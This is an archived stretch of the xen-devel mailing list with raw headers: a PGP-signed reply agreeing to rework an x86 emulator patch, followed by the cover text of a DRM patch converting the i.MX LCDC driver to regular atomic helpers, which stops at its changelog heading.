Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=jNOPpcNDQODc2VOhJQjiLb4G2G6f/aHavyNw/UZtk18=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=iCwzfZAoypnShAB8BcKpUGvgjJnoNXpCOXpsTsvQc6NlphdWaYvOGCQ+1OMcRLYT8AA0ELWeu
 xl2wwtP8J4ml1c/xIbTkugp6PeFBHA1oRkPlUs28vF59+c/XylrI72sKwUwfY3o48RV64KnTfkN
 XBc6uBGSwDn8gfts5/sXEl5fVg3w3MNbQ9D1WIZQrmlJ1iv5dzfLR1hywhm/EI1/+Y0sjsYziW3
 YFZhUnoWKzfxtJrtA+CfQLBygqkveXbbZXC4BCLJeHxfsPHAOsLddODCtDV5MstXD3PSqGrLHv4
 otYMCDM8WhjSiSi4TRAPiu1r/pn3ZYIwh2HptfoRPyBg==
X-Zone-Loop: ad9bdaf6b5619198fd45fcee95f95d508c197d933f8f
x-campaign-type: default
x-transaction-id: 94aa6d27-aac8-41df-ba0a-dab7115b063b
x-swg-uid: 01-6c8ac51b-a302-4f18-b969-0413e70ee19d
X-Mailer: Sweego
Message-ID:
 <1784191056.8631fc262581453bbf619ec5b2062170.19f6a12fab0000edb5@vates.tech>
x-swg-bid: 1784191056.8631fc262581453bbf619ec5b2062170.19f6a12fab0000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Thu, 16 Jul 2026 10:37:33 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v1.1 1/2] x86emul: drop wrapper C file
To: Jan Beulich <jbeulich@suse.com>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <8a3ee9c3-489a-4dbf-b61b-cd078322b786@suse.com>
 <e482f2b5-382c-4fbb-b030-5cdaba362599@suse.com>
 <1784119334.8631fc262581453bbf619ec5b2062170.19f65cc9781000edb5@vates.tech>
 <dcd70818-9e03-43e8-b6a2-eefacfc0b894@suse.com>
Content-Language: en-US
From: Teddy Astie <teddy.astie@vates.tech>
Autocrypt: addr=teddy.astie@vates.tech; keydata=
 xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7LTBVHV/XO
 Zw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJT4ny+OGntnJntUoR
 KRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJAWicutjkkUgd28Bh6HV9EIumH
 tCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQvFCaO8HEhvfzrrTZHjn/nPeB9SigxIxXW8YaT
 VqMdqul07o72m3eA2mf+LMu9a04FX/d4wbxBLtELm+1jIrbtyaFZEMOLv/haSiS/Lj3btJH/
 EoucejoZ5SH49ksmVAmKOLktOaTQ8b2gEvP7iaKiIiszCCtOSRohr+2GvDsDeLvVZnlR3I+S
 PhHar7TPKjFz0G3DPNolyjXywNqOAMpomSPi8lSwjAFsxOtQbcck/qRGRSNk4DAmH70pA+89
 MXfQXZ3qt1Q01B1+sU0I8xsAEQEAAc0kVGVkZHkgQXN0aWUgPHRlZGR5LmFzdGllQHZhdGVz
 LnRlY2g+wsENBBMBCAA3FiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmn5sK8FCQWjmoACGwME
 CwkIBwUVCAkKCwUWAgMBAAAKCRBmD6nRAsvP0ID6DACGOktArFbLKHNzuyOVCskwfUZPla6Z
 pd3GZ8r61SrAKePIr2BnpgPkd0hV3bSRkRLIrgjzR2NRCzfp0x0HfuhcYfAYPR46XHTvjaJE
 v99sT/vGUG1BZguYDOScSEpgSNaNlYum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lt+Ezoqy/510eo2bCSzvW5xXYPgyjcuOPwgQo1Qp764QxyX6rld2f2RcWkDuBHun55ZWXj
 by8o21ginPRwruBVYY5rVf3DV1iBu4NurUeHtyFk/dS0XTOQi2wVUb17sW/+ybCEokdVacZG
 zOqP/OmwHrF8ylXlXnhQq6e3r+J+T8fuoGJelm/CJiMwyP6cEWE8sxVqX/iqwjwUYkuOCpE+
 lOWSvdNHgoEkWR0RXBPQjnGmLKbfTl/QDXLk6NP2/r9uxm2HL6Ei3QJKSEdrp+XZaVnk/Off
 O485NOTKwGOxyWb006cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR
 8ULR9nX0LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
 x9fhaZEsniw8/bYgC3igkk5YJiOa
In-Reply-To: <dcd70818-9e03-43e8-b6a2-eefacfc0b894@suse.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------CjgHENvyewL04ohUrFRBB83y"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1784191055840
X-purgate-ID: tlsNG-ebf023/1784191062-C3AC0B50-042487F1/0/0
X-purgate-type: clean
X-purgate-size: 7062

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------CjgHENvyewL04ohUrFRBB83y
Content-Type: multipart/mixed; boundary="------------DFCsEQ1hA0hkJwalh400lyiI";
 protected-headers="v1"
From: Teddy Astie <teddy.astie@vates.tech>
To: Jan Beulich <jbeulich@suse.com>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Message-ID: <da970cee-4c70-4fd9-ad8e-3b060a44af7e@vates.tech>
Subject: Re: [PATCH v1.1 1/2] x86emul: drop wrapper C file
References: <8a3ee9c3-489a-4dbf-b61b-cd078322b786@suse.com>
 <e482f2b5-382c-4fbb-b030-5cdaba362599@suse.com>
 <1784119334.8631fc262581453bbf619ec5b2062170.19f65cc9781000edb5@vates.tech>
 <dcd70818-9e03-43e8-b6a2-eefacfc0b894@suse.com>
In-Reply-To: <dcd70818-9e03-43e8-b6a2-eefacfc0b894@suse.com>

--------------DFCsEQ1hA0hkJwalh400lyiI
Content-Type: multipart/mixed; boundary="------------CTEZVv0UdaDnepStEIh0u6VN"

--------------CTEZVv0UdaDnepStEIh0u6VN
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

TGUgMTYvMDcvMjAyNiDDoCAwOToxNiwgSmFuIEJldWxpY2ggYSDDqWNyaXTCoDoNCj4gT24g
MTUuMDcuMjAyNiAxNDo0MiwgVGVkZHkgQXN0aWUgd3JvdGU6DQo+PiBMZSAxNC8wNy8yMDI2
IMOgIDE2OjAwLCBKYW4gQmV1bGljaCBhIMOpY3JpdMKgOg0KPj4+IE1vdmUgdGhlIGxpdHRs
ZSBiaXQgdGhhdCdzIHN0aWxsIGxlZnQgaW4geDg2L3g4Nl9lbXVsYXRlLmMgaW50byBhIF9f
WEVOX18NCj4+PiBjb25kaXRpb25hbCBpbiB4ODYveDg2X2VtdWxhdGUveDg2X2VtdWxhdGUu
Yy4gTW92ZSB3aGF0IGFyZSByb3VnaGx5IHRoZQ0KPj4+IHRlc3QvZnV6emluZyBoYXJuZXNz
IGNvdW50ZXJwYXJ0cyBmcm9tIHRoZXJlIGludG8gdGhlIGNvcnJlc3BvbmRpbmcgI2Vsc2Uu
DQo+Pj4NCj4+PiBJbnRlcmVzdGluZ2x5IG1vcmUgcmVjZW50IGdjYyB0YWtlcyBpc3N1ZSB3
aXRoIHRocmVlIHN0YXRpYyBjb25zdCBhcnJheXMNCj4+PiB3aGljaCBhcmUgdW51c2VkIHdo
ZW4gSFZNPW4gKG5vdGljZWFibGUgaW4gc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HMueGVu
Lm9yZy9hcmNoaXZlcy9odG1sL3hlbi1kZXZlbC8yMDI2LTA3L21zZzAwMTM5Lmh0bWwNCj4g
aHR0cHM6Ly9saXN0cy54ZW4ub3JnL2FyY2hpdmVzL2h0bWwveGVuLWRldmVsLzIwMjYtMDYv
bXNnMDE1OTUuaHRtbA0KPiBodHRwczovL2xpc3RzLnhlbi5vcmcvYXJjaGl2ZXMvaHRtbC94
ZW4tZGV2ZWwvMjAyNi0wNi9tc2cwMTQ5My5odG1sDQo+IA0KPiBUaGFua3MsIEphbg0KPiAN
Cg0KT2ssIHdpbGwgZG8uDQoNClRlZGR5DQo=
--------------CTEZVv0UdaDnepStEIh0u6VN
Content-Type: application/pgp-keys; name="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Disposition: attachment; filename="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7L
TBVHV/XOZw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJ
T4ny+OGntnJntUoRKRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJA
WicutjkkUgd28Bh6HV9EIumHtCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQvFCaO
8HEhvfzrrTZHjn/nPeB9SigxIxXW8YaTVqMdqul07o72m3eA2mf+LMu9a04FX/d4
wbxBLtELm+1jIrbtyaFZEMOLv/haSiS/Lj3btJH/EoucejoZ5SH49ksmVAmKOLkt
OaTQ8b2gEvP7iaKiIiszCCtOSRohr+2GvDsDeLvVZnlR3I+SPhHar7TPKjFz0G3D
PNolyjXywNqOAMpomSPi8lSwjAFsxOtQbcck/qRGRSNk4DAmH70pA+89MXfQXZ3q
t1Q01B1+sU0I8xsAEQEAAc0kVGVkZHkgQXN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bVnWrMhSLB4AuTBT9HjfZI6gk3uYLhoT8Pig4/eVtR2Q1w
ZIJsFToR6ofGuyECwFcs+PUXN7fmGRSiPXgjAr/zIUBdW0VWCE3OGPNqtRk2E5s6
IQARAQABwsD8BBgBCAAmFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmn5sLAFCQWj
moACGwwACgkQZg+p0QLLz9DncQwAg76IehTemLIfrB8T9WIBZrI4kUV7G7a4rjiV
oUiHYN5QwhnbZnsaJDlt+Ezoqy/510eo2bCSzvW5xXYPgyjcuOPwgQo1Qp764Qxy
X6rld2f2RcWkDuBHun55ZWXjby8o21ginPRwruBVYY5rVf3DV1iBu4NurUeHtyFk
/dS0XTOQi2wVUb17sW/+ybCEokdVacZGzOqP/OmwHrF8ylXlXnhQq6e3r+J+T8fu
oGJelm/CJiMwyP6cEWE8sxVqX/iqwjwUYkuOCpE+lOWSvdNHgoEkWR0RXBPQjnGm
LKbfTl/QDXLk6NP2/r9uxm2HL6Ei3QJKSEdrp+XZaVnk/OffO485NOTKwGOxyWb0
06cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR8ULR9nX0
LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
x9fhaZEsniw8/bYgC3igkk5YJiOa
=3DlUIA
-----END PGP PUBLIC KEY BLOCK-----

--------------CTEZVv0UdaDnepStEIh0u6VN--

--------------DFCsEQ1hA0hkJwalh400lyiI--

--------------CjgHENvyewL04ohUrFRBB83y
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsD5BAABCAAjFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmpYmE4FAwAAAAAACgkQZg+p0QLLz9CJ
lAv+Icq5o8PvLw6hzYU2W1oN5xx0k3ZLMJt89+ri6nqVm9r5U3CfedYI4ptIsTyqgvCVVUN1g00u
leV3NbiufH/gH34OGOhDzZ2eaHSnQhwbVfjAI0Fnrow53WSKg0C5k5avM+Hu34zczwupe2C8ACda
+nevqmwvP04qmZaqapQSeWW+WmZfINmFG51E7Rrt3z4uOtkVl8orZ0U26+yBxuqO15hJa1BbyVLH
xGiw1rGIf8mjXee256U71oIznANx8TN7HmSfDYmJoSnVJ3QfQMo326GjU24edJXJVKc9OfuJGMxj
609Dx+rWC/uDenAzxlco/wkGeuuwGVvtieF1knirOGrNAgMHzqbB4MeVVHeFlPMHbXSWDVpCWvhP
/8s2TNy9+WwoXlSdB5vTuNa5QZyrE8USuY8DV9TvBI6wHPSvnVLUFV8LcEqjTj6z52pnsSPR7KgN
fg0vXGvxYF4dTGrlRrUyffM9CxzUcfzX4V/rzOmsXOx1Lyji/yqjxx7An1eP
=Lp4h
-----END PGP SIGNATURE-----

--------------CjgHENvyewL04ohUrFRBB83y--


From xen-devel-bounces@lists.xenproject.org Thu Jul 16 09:01:39 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 09:01:39 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363552.1615129 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkHyF-0000e9-VJ; Thu, 16 Jul 2026 09:01:31 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363552.1615129; Thu, 16 Jul 2026 09:01:31 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkHyF-0000e2-QC; Thu, 16 Jul 2026 09:01:31 +0000
Received: by outflank-mailman (input) for mailman id 1363552;
 Thu, 16 Jul 2026 09:01:30 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ze.huang@oss.qualcomm.com>) id 1wkHyE-0000dw-FO
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 09:01:30 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkHyD-00E1g1-HQ
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 11:01:29 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a589de8-bab6-0a2a0a5309dd-0a2a4505dbf8-8
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 11:01:29 +0200
Received: from [205.220.168.131] (helo=mx0a-0031df01.pphosted.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a589de7-4cb1-0a2a45050019-cddca8839122-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 11:01:28 +0200
Received: from pps.filterd (m0279864.ppops.net [127.0.0.1])
 by mx0a-0031df01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66G7DkqN1734165
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 09:01:26 GMT
Received: from mail-pf1-f199.google.com (mail-pf1-f199.google.com
 [209.85.210.199])
 by mx0a-0031df01.pphosted.com (PPS) with ESMTPS id 4fed063h78-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 09:01:26 +0000 (GMT)
Received: by mail-pf1-f199.google.com with SMTP id
 d2e1a72fcca58-8482fd61e83so12183846b3a.1
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 02:01:26 -0700 (PDT)
Received: from le-cd01-lnx.qualcomm.com ([114.94.8.21])
 by smtp.gmail.com with ESMTPSA id
 d2e1a72fcca58-84a4ff2ea4csm4440058b3a.23.2026.07.16.02.01.16
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Thu, 16 Jul 2026 02:01:23 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=qcppdkim1 header.d=qualcomm.com header.i="@qualcomm.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:Message-Id:MIME-Version:Subject:To"; dkim=pass header.s=google header.d=oss.qualcomm.com header.i="@oss.qualcomm.com" header.h="Cc:To:Message-Id:Content-Transfer-Encoding:Content-Type:MIME-Version:Subject:Date:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qualcomm.com; h=
	cc:content-transfer-encoding:content-type:date:from:message-id
	:mime-version:subject:to; s=qcppdkim1; bh=aHe2m5cGxo06ZLsxAqpXbg
	szTtwdgYS+yspxkNVpATQ=; b=nmOsfkrzgYk8dE7WGEHfC+v/aGl7NlojS+X5/m
	H8DLO/nPbeNCHL8dp+qoSQYz938QVV9Qbvcy/+gtd5IJrDzxmpiA9m3+O6Y3nh32
	GpV1JFzfBh1eXTSehRUBXTrWx/eT1hJA2JB09q6mA1obCYbp5GiaZP92oSUA6NPZ
	u9qFB+pj8R3c04MnbEPArseQpipLubQZxDJLlVJS36zJcUxkITNj49E45ss4dK2O
	mlh42d/g+tfaVjsslxG2Oz6hsv3CFqj6Skz7lpUXRQru7yr61Qfu4SCWztYOv8sP
	6S+6bErqhsvIzOjBc67gs9amgTGdFgT1LKfXNY0aNj84/ndA==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=oss.qualcomm.com; s=google; t=1784192485; x=1784797285; darn=lists.xenproject.org;
        h=cc:to:message-id:content-transfer-encoding:content-type
         :mime-version:subject:date:from:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=aHe2m5cGxo06ZLsxAqpXbgszTtwdgYS+yspxkNVpATQ=;
        b=JxNcnKvS9wsH6pMTvYKX5UEa+BKcqJHxADg5vw9MNixwgGtk5y9WiUUpUDZYKcwgT0
         QIJoGXX3zvdgcRLiEZe+zTSj0W3OYLKOyZkY+qk1jjG2U2gsI8waINdU7G3LoIWbPKK+
         TY36nfPTdLLPBv1CF9SSyxhCrVN0cnX6BnvPh+nZpD6ydagQdZfZKaFNRTL5ug2yUdGp
         OuxYp1BpDI6IvScLBylXC2UknYEJIMmHlbv739DFP3g9T3b2dOuE+MZzyHWCScAY0k8r
         Zd4QDSDxPPkPQFuNHsVI3cxecqxn4nD/d2oNwP05vKgI4xQKN3M9NgEUDtJsAKKpfkLq
         K9RQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784192485; x=1784797285;
        h=cc:to:message-id:content-transfer-encoding:content-type
         :mime-version:subject:date:from:x-gm-gg:x-gm-message-state:from:to
         :cc:subject:date:message-id:reply-to:content-type;
        bh=aHe2m5cGxo06ZLsxAqpXbgszTtwdgYS+yspxkNVpATQ=;
        b=KCkzliNhVDkpsDYZjhyttq+q0uzHP4dNNbqeL1/gH1ws++FbVFTkjVIl+xtcpsXX54
         o1dpuR8KG9RoMoQlZumbYFxx5evEU1afmWSKzmbRlA4t37+fPJZ1NkWrMtgHgM3h3h0m
         IvzrzhuCJelGuoe4fNDGp8GYRRw60iN5sPoiCmir0MRzZ/r/OLzlh+vSOBtIxNrw9Xjz
         Jwuu5CsYdHy1976rBbRH4/1CijB9M2Qs14cocoSm6YGGzaJdGIKQBf6FObq9xEqt0XCb
         5om2tbPMvlxYukHJ4v7Gf1runsXNxysRALqiv2xyf8dw6+H9oTyOmfjfhzyp2KkDrhXe
         NlZA==
X-Forwarded-Encrypted: i=1; AHgh+RrgIn83EO+CdMvskh3azWXfpAo2R/Xq/qseBNAm68cjHxOyl81kuO7UGFnLxj1gpGhPRoCFYoixBsY=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yw7ZdiwkEOfcCv8CsmwrFRMW59+4RU2MPD0bqpNZmG7I1Mrc43H
	aQ3mjHhoy9m2DKr/uPapukfQGoz6tdG+1L/kIKprhr7OzNTpc6jaVlgqcVGUIPnB6q8OIwERaTG
	uanGyRNbD/rPQmjsg4jJKUJ96WJq7RhcuvaNi85+gGW84fvKrbf4jcGJMfJrwfxmz2k7lDg==
X-Gm-Gg: AfdE7cl/ECJ7E1Sn3YrpJadamkAOPFSMdfd+jtSrgA1Ep2lH/Urq+/fgmsM9r2xv5hk
	ljxYWYePBWp8XHZkbPPhvzRlx2FZRA8nAD+I2hsV/oVz7pB2LyVNfxlAo+wpHTBflkAAxjz1Src
	Zqx00vSby6PaIx60zT3pWNHU+UlQOOSb28Z+nzTfCxWjvqzn4Zx+CUr4T9/T3XfOsMhhmDORjLC
	HqUB294S+EInoZ3V1KaaKw1DLl8WaRszSisN939oH24iZoAZl9phkzAMsSG+UUErg+K+q2izMdp
	KZCJ8losv/sP4iKhvc3uw4SdPZX3vfTR+M1+AFvcysQ7FvOrEjnsgTG2NeUTbXKQYfLCDxhlgK4
	s3O78frENzxTagCoX30Vy
X-Received: by 2002:a05:6a00:1943:b0:848:2f73:9000 with SMTP id d2e1a72fcca58-84a5165c6b1mr10202980b3a.73.1784192484348;
        Thu, 16 Jul 2026 02:01:24 -0700 (PDT)
X-Received: by 2002:a05:6a00:1943:b0:848:2f73:9000 with SMTP id d2e1a72fcca58-84a5165c6b1mr10202941b3a.73.1784192483796;
        Thu, 16 Jul 2026 02:01:23 -0700 (PDT)
From: Ze Huang <ze.huang@oss.qualcomm.com>
Date: Thu, 16 Jul 2026 17:00:55 +0800
Subject: [PATCH v2] drm/imx: replace struct drm_simple_display_pipe with
 regular atomic helpers
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260716-drm-simple-kms-removal-v2-1-7e4a6b8528e6@oss.qualcomm.com>
X-B4-Tracking: v=1; b=H4sIAMedWGoC/3WOwQ6CMBBEf4Xs2TVtUYye/A/jodRVq5RitxAM4
 d9t0auXSSaZmTcTMAVLDIdigkCDZevbZNSqAHPX7Y3QXpIHJVQldmKDl+CQresawqdjDOT8oBs
 UUotSmkpLtYdU7gJd7bgMn85fz339IBPz2i8R6NUnYvzGoNZMaLxzNh6KzGlpjJjJKCpUO8hDd
 8vRh/dyeJBL7/dt++/bIFFgvSFptNiWlSqPnnn96nWTYeskcJ7n+QMga11FDAEAAA==
X-Change-ID: 20260704-drm-simple-kms-removal-01a031c6a129
To: Alexey Brodkin <abrodkin@synopsys.com>,
        Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
        Maxime Ripard <mripard@kernel.org>,
        Thomas Zimmermann <tzimmermann@suse.de>,
        David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
        Joel Stanley <joel@jms.id.au>,
        Andrew Jeffery <andrew@codeconstruct.com.au>,
        Frank Li <Frank.Li@nxp.com>, Sascha Hauer <s.hauer@pengutronix.de>,
        Pengutronix Kernel Team <kernel@pengutronix.de>,
        Fabio Estevam <festevam@gmail.com>, Linus Walleij <linusw@kernel.org>,
        Hans de Goede <hansg@kernel.org>,
        Alex Lanzano <lanzano.alex@gmail.com>,
        Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>
Cc: dri-devel@lists.freedesktop.org, linux-kernel@vger.kernel.org,
        linux-aspeed@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org,
        imx@lists.linux.dev, xen-devel@lists.xenproject.org,
        Ze Huang <ze.huang@oss.qualcomm.com>
X-Mailer: b4 0.14.3
X-Developer-Signature: v=1; a=ed25519-sha256; t=1784192476; l=16288;
 i=ze.huang@oss.qualcomm.com; s=20260716; h=from:subject:message-id;
 bh=3hp4tO1y0oFcpTWWTyITDwR1ZTZoHpK33hppfnXMd+4=;
 b=ygE4iQN91kshn1fAtLPBD1T04zXm+5QGjsvBJpjxYZR+XTulSruGaQl49D910M0pnIHV5qe0y
 4P9ah08N3WoBO3SE/69g2+APQJ0bdr+26XKTTrtiC+asfnaDiwJMyWs
X-Developer-Key: i=ze.huang@oss.qualcomm.com; a=ed25519;
 pk=8uGhlZHInA8NXq7G6u/g59qEcwXwuMRI7nBSnT/ijtY=
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzE2MDA5MSBTYWx0ZWRfXy8dapGA79PRX
 DaQfiSV5OJM9DgIDcV1L91Dkj3P9cn8xrETgFNl5K4TWu/rxrb2uGxchR1O174kRnjl2P2jTc/8
 PR5JDcBVL4hmBKB9Lov1TtCjc+HM9Kg=
X-Proofpoint-GUID: -wWiWKk2bScXwvPyAOpWIXCgo50-YvDq
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzE2MDA5MSBTYWx0ZWRfX0NpBejf5bEFU
 onwghMXpM2R4fQ3lONTSsVXXaEnQHgSwiF1uUJqv1bSL/vl+40vyEfpF3P0PS+70juqGCOD6PCK
 1cz8cOk7+d++S6moh2EzJOQ3MMbuhAro2wi33zW3e6T76V5NZu1IgB4X3ol7vJLkTIUo+4lYk22
 DgUtXLE2rNnO2tRkIF/eiX6UXonF+wBvcFFg2JEtcIZz2+PaEfrDpPSGgLWBvCXr+9t9XrbQ0AV
 gtgMqb5AyCHPLYAso1CDpJqX5xRWKVEjqfFmpKDWJxgtn/cK8Ho+FfVT6hy3ivvilvw6dWqvgdP
 jSlfrl4X4uzKwMhxTZ1gES7aBjfrkgYEgCyl/HqfeabNv+j2/K+QFqFZL77ni3GTRlM5k9jxgYE
 npH1ZNPAG9MVN8H1w0cTFaWE5NTNsnmbIBDFDVdVin/ftvBbE+G8DlEJrhDSZMU5amRF1JH3dyJ
 Typb0Vl1mhsctc5K7LA==
X-Authority-Analysis: v=2.4 cv=Xb25Co55 c=1 sm=1 tr=0 ts=6a589de6 cx=c_pps
 a=WW5sKcV1LcKqjgzy2JUPuA==:117 a=Uz3yg00KUFJ2y2WijEJ4bw==:17
 a=IkcTkHD0fZMA:10 a=RAioF0-LDSMA:10 a=s4-Qcg_JpJYA:10
 a=VkNPw1HP01LnGYTKEx00:22 a=u7WPNUs3qKkmUXheDGA7:22 a=DJpcGTmdVt4CTyJn9g5Z:22
 a=bC-a23v3AAAA:8 a=EUspDBNiAAAA:8 a=vJQh6MS5x5Z9w99ZfooA:9 a=QEXdDO2ut3YA:10
 a=OpyuDcXvxspvyRM73sMx:22 a=FO4_E8m0qiDe52t0p3_H:22
X-Proofpoint-ORIG-GUID: -wWiWKk2bScXwvPyAOpWIXCgo50-YvDq
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-16_03,2026-07-15_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 clxscore=1015 spamscore=0 priorityscore=1501 suspectscore=0 bulkscore=0
 impostorscore=0 malwarescore=0 adultscore=0 lowpriorityscore=0 phishscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607160091
X-purgate-ID: tlsNG-c201ff/1784192489-F56AD2A1-D8F67D55/0/0
X-purgate-type: clean
X-purgate-size: 16290

Convert i.MX LCDC to explicit primary plane, CRTC and encoder objects.
Keep no-scaling plane check and GEM framebuffer prepare callback from
simple-KMS path.

Wire the vblank lifecycle explicitly with CRTC vblank callbacks and
drm_crtc_vblank_on()/drm_crtc_vblank_off(). Use the old CRTC state in the
disable path for clock unwinding so the clock reference count remains
paired with the previous active state.

Signed-off-by: Ze Huang <ze.huang@oss.qualcomm.com>
---
struct drm_simple_display_pipe was meant to simplify simple DRM
drivers, but instead adds an extra wrapper around normal DRM atomic
helper setup. As noted in Documentation/gpu/todo.rst, remaining users
should be converted to regular atomic helpers and stop depending on the
simple-KMS interfaces.

Each patch replaces drm_simple_display_pipe_init() with explicit
primary plane, CRTC and encoder setup, and moves the old simple-pipe
callbacks into regular plane and CRTC helper callbacks named according
to local driver conventions.

The conversions preserve helper behavior that used to be implicit in
drm_simple_kms_helper.c, including plane-state validation, CRTC
primary-plane checks, affected-plane propagation, framebuffer prepare
handling, and existing event/vblank flow where applicable.

Result is less helper indirection and more explicit driver-side atomic
wiring, with no remaining simple-KMS dependency in these drivers.

Changes are build-tested only. No hardware testing has been performed.

This patch is based on drm-next-2026-06-27.

AI usage disclosure:
- AI tools were also used to review the code and suggest code changes for
  the DRM atomic conversion.

Thanks,
Ze Huang
---
Changes in v2:
